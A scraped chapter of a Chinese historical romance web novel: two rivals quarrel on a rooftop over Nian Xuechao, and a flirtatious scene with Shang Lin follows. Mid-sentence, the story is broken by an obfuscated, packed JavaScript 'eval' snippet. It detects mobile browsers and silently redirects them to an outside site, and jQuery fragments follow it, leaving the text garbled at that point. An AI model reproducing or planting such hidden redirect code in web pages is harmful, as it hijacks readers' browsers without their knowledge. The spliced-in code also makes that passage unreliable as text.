天光微亮,长安城上空还被橙黄色的薄雾笼罩着,街上除了换岗的守卫,寂静如斯。
京香阁的屋顶上,谢十堰提了两壶酒坐下,见身后那人止步不前,他拍拍身侧的瓦片,示意他坐过来。
“你都知道多少了?”他道。
商凛闻声皱了皱眉,思索片刻过后,坐了过去,“谢少爷所指何事?”
借尸还魂这种事,若是在上京传出去,只怕会对年雪朝不利,引来杀身之祸也不好说。
问的什么,两人都心知肚明,他不知道谢十堰到底知道多少,只是,他曾以为失去了的东西,又再一次以别的身份回到他的身边。
他的一生失去过太多,失而复得这样的幸事又是太少,能够让他有重来的机会,他已知足,绝不会让手里的东西再次溜出掌心。
谢十堰扯扯嘴角,没有说话,将手里一瓶酒递给他。
见商凛看他的眼神满是打量审视,谨慎到连他的酒也不接,他将酒壶塞进他的怀里,道:“放心喝,我这人做什么事不是坦坦荡荡,闹他个天翻地覆的,若是我真对你有杀心,也不会使在酒里下毒这么……没意思的手段。”
他选了屋顶同他相谈,这是他最熟悉的地方,不论是在上京城还是在锦乡,这里都是他心里的一处静地。
从晨昏坐到日出,看万家灯火明灭交错,他才能静下心来,确认自己还在活着。
见商凛打开酒壶灌了一口酒,谢十堰才道:“如若我现在说这酒里有毒,你会怕吗?”
他知道,商凛在外从不用膳,就连在宫里,也是由那巡大人备好膳食送入宫中,今日他能如此爽快的饮下他递过来的酒,还真叫他有些意外。
商凛将酒壶中的酒一饮而尽,扯扯嘴角道:“你不会的,你那么在意年雪朝,定不会伤了她爱的人。”
天雷咚一声在空中炸开,昨儿下了一夜的雪,今日刚出太阳的天又被阴雾笼罩上。
“你怎知,你就是她爱的人了?”谢十堰开酒的手一顿,抬眼看向他。
他拿不准商凛的心思,本以为这人会同他绕上几个弯子,可他却如此直白的叫出年雪朝的名字,仿佛对这件事没有半分震惊。
商凛不语,同他对视良久,终是谢十堰先败下阵来,他撬开酒灌了一口,嗤笑道:“既然你都知道了,那你不怕么?你以为的枕边人只是一具躯壳,你喜欢的姜之桃早就已经死了。”
“你怎么知道,我等的人不是她呢?”商凛将酒壶缓缓放在檐角上的声音清晰。
他知道,谢十堰想劝他什么?他也知道,谢十堰对年雪朝的心思。
只是谢十堰不知道,自三年前被那人调戏的那夜,他就已认定了她,她在他枯燥的生活里留下了浓墨重彩的一笔,却又消失不见。
他本以为自己可以忘却所有,毕竟他身上背负的血仇太重,他一步都不敢停,于是,他为了复仇一再妥协,一再算计,可算计到最后,老天竟又把人送回到了他的身边。
失而复得已是幸事,这一次,他绝不会再妥协,也绝不会再放手。
谢十堰闻言蹙眉:“等她?你何时同她相识了,这些年,我一直陪在她的身边,可全然没听她提起过你的名字,商大人明知如今娶的人是当朝长公主,却仍一错再错,不肯放手,商大人究竟图什么?”
见商凛没有回答,他追问道:“那好,你有没有想过,若是朝朝的身份败露,到那时,你也会受牵连不是么?”
阴郁的天下起毛毛雨,商凛拂袖起身,同这人交了底。
“不论谢少爷如何说,本君对她,都不会放手。”
谢十堰收敛了神色,不似往日那般混日子的浪荡模样。
雨越下越大,商凛作势要走,谢十堰起身拦住他的去路,“倘若,我偏要把她带走呢?”
屋檐上陡然翻上来个人,雨下的大,阴沉的天雾蒙蒙的,商凛眉心一跳,手已叩上身侧的玉离剑,待眯眼看清来人,心一下揪起来。
年雪朝臂弯里夹了把伞,爬上来又将伞握回手里撑开,看着站在雨里的两人,年雪朝有些僵持不下,她这就拿了一把伞,给谁打好像都不太好。
可偏偏那两人一个先开口谦让的都没有。
商凛微微侧头冲身侧的谢十堰低语:“你想带她走,也要看看她愿不愿意。”
这话摆明了是要同他争上一争,谢十堰面对这场面,默默挺直了腰板,看起来颇有底气,在这方面,他还从输过,先不说在这上京城中,他这谢头牌的名号,就是那些世家小姐都争着抢着挥洒千金买他一笑。
更何况,他跟年雪朝这么多年的交情,不说是青梅也算得上是竹马吧,他就不信年雪朝会为了这么个老男人放弃他。
他冲年雪朝打了个喷嚏,一副虚弱模样说装就装起来。
年雪朝如同被雨雪冻在原地的腿终于迈开了步子,她每靠近一步,便觉得商凛盯着她的眼神愈发阴冷。
她想出了个妙计,走到两人身前,硬是挤进了两人中间,年雪朝将伞在头顶撑开,伞面不大,刚好能盖过身侧两人一人一半。
天雷隆隆作响,雨势非但不减半分,还刮起阵风来,身侧两人比年雪朝高出一头还多,想要给三人都撑上伞,她几乎将小臂伸直,几阵阵风刮过,她这小臂当真是酸急了,手上的伞也跟着摇摇欲坠,乱晃个不停。
几个人就着步子走了一段距离,商凛将伞一把夺过,塞进谢十堰手里,接着解下身上披着的狐裘将年雪朝裹起来打横抱起,轻功一跃便下了屋檐。
这一系列动作行云流水,快到连谢十堰都没看清人影,只隐约记得听到两人临走前商凛道:
“谢少爷平日里便看着弱不禁风,想来身子骨弱得很,咱们这把伞,还是留给他用罢。”
可站在屋檐上的人吸了吸鼻涕,身上早已湿透,谢十堰看看空荡荡的街巷,又看看手中撑着的伞,明明是他赢了这把伞,可他却莫名觉得,这场仗,他输得彻底。
*
京香阁偌大的楼宇背后,隐匿着一座四方宅院。
往日年雪朝溜进京玩乐便是宿在此处,谢十堰住坐北朝南的主屋,她跟小五各占东西两屋。
商凛抱着她降在院落里,见他提步便要出去,年雪朝拍拍他的肩膀急声道:
“停停停!”
她从商凛身上跳下来,见这人一身衣袍都已湿透,忙将人扯进东殿去。
东殿的大门被年雪朝猛地合上,黑暗里,商凛见她这架势莫名有些心慌,忍不住向后退了两步,可他退的这两步那里抵得上她的步子。
只见这人回过身来三步并作两步就将他逼倒在榻上,动动爪牙,便把他的腰封解下,眼看就要被这人扒光,商凛在黑暗里按住她作乱的手,低声道:
“这不是商府,你不能乱来。”
年雪朝一心想看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100341|193734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他胸口的伤口,被这么一打断有些愣住了,她抬眼看向商凛,那满脸涨红的模样是要作甚?搞得像她在调戏他似的!
可顺着身下那人的视线看去,她跨坐在他的大腿,手探在他的腰腹,那被她胡乱解下的腰封还挂在她的小臂,这场面,纵使年雪朝也不想往那方面想,可现下看来倒是真的有些香艳了。
她咽了咽口水,莫名觉得空气中有些燥热,抬手给自己扇了扇风,此地无银三百两道:“你说这谢十堰也真是的,炉火生的这么旺作甚,跟这里冻死过人一样。”
年雪朝说完,朝商凛笑笑,似是想得到这人的认同,打破这有些尴尬的气氛。
可商凛却似是铁了心要同她作对,非但不顺着她的话接下去,反而道:“可这里并未生什么炉火。”
黑暗里,年雪朝窘迫的脸几近扭曲,要不是打不过他,她真想堵住他这张嘴。
一片死寂里,她破罐子破摔道:“昨夜不是你说这是夫妻义务?你既不愿,又何必信口开河?”
她就是气不过,怎得他想对她动手动脚她就得默许,她亲近亲近他,他就如此避之不及。
他既然误会,那便误会好了,被人拒绝亲近,还要解释是担心他的伤口,这等丢脸的事,她可做不来。
想着想着,腰间突然攀上一只大手,将她翻了个个儿,躺到榻上去,看着身上压着的人,年雪朝瞪大了眼,呼吸都在一瞬止住,下一秒,温热的脸贴上她的脖颈,在她的锁骨间落上一吻。
年雪朝咬住唇瓣,撇过头去,被他压在身下的手不自觉的握紧。
只听那人闷声道:“本君并非信口开河,只是……这里是人家的地盘,若是我们在这里胡来,想必谢少爷定会生气,何况本君如今又发热在身,如此,对你不好。”
年雪朝把重点放在了“人家”这两个字上,这话,不论如何听,都觉得酸味十足。
她将头转回来,在他耳边道:“谢十堰方才跟你说什么了?”
商凛从她身上起身,坐到榻边,“没什么,谢少爷就是问问我补药的疗效如何。”
“不可能。”年雪朝一脸不信,就她对谢十堰的了解,他不把药从他肚子剜出来就算好的了。
毕竟这人虽说嘴上总劝她当和事佬,可一旦到了自己的事情上,比她还疯还莽。
年雪朝拍拍胸脯,说:“你就跟我说说吧,到底说什么啦?夫妻之间一旦有了秘密,就会生嫌隙的,坦白这件事,你有义务!”
商凛道:“他叫本君同你和离。”
谢十堰的确是这个意思,但怎么从他商凛的口中转述出来就显得他这般不讲道理。
要是谢十堰在场,说不能真的要把他的舌头拔掉。
年雪朝身子一僵,有点后悔问了这个问题,她本来是想探探口风,看看谢十堰会不会为了逼她回锦乡同商凛说些什么她身世的秘密吓唬他,可他的这番回答,却叫她不知如何接茬。
她从床上爬起来,从背后抱住他,哼哼道:“他就是随口一说,你不要放在心上,此前你说要护着二殿下,我不也没生气嘛,咱们两个扯平了。”
身前那人冷哼一声,淡淡道:“这不一样,年嘉怡是我同母异父的亲妹妹,怎么?你同谢十堰,难道不止是萍水相逢的恩情,还有别的什么关系?”
门外打着伞来找人的年嘉怡听见这话,手一僵,伞猛地砸在地上,溅起几滴水花。